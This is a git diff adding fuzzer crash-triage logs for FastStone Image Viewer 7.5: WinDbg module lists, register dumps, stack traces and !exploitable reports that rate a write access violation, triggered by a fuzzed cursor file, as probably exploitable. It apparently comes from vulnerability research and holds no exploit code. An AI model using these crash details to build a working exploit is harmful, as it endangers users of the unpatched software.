+ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(13dc.123c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.00534e-005 -1.14946e+010 -1.82285e+030 8.65871e+028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021d000 b8f44b89 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..935f94c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x13DC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x13DC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(13dc.123c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.00534e-005 -1.14946e+010 -1.82285e+030 8.65871e+028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021d000 b8f44b89 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1bdcbd4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..6ab0ea1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/22022/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1024: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1024: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1024.10f8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 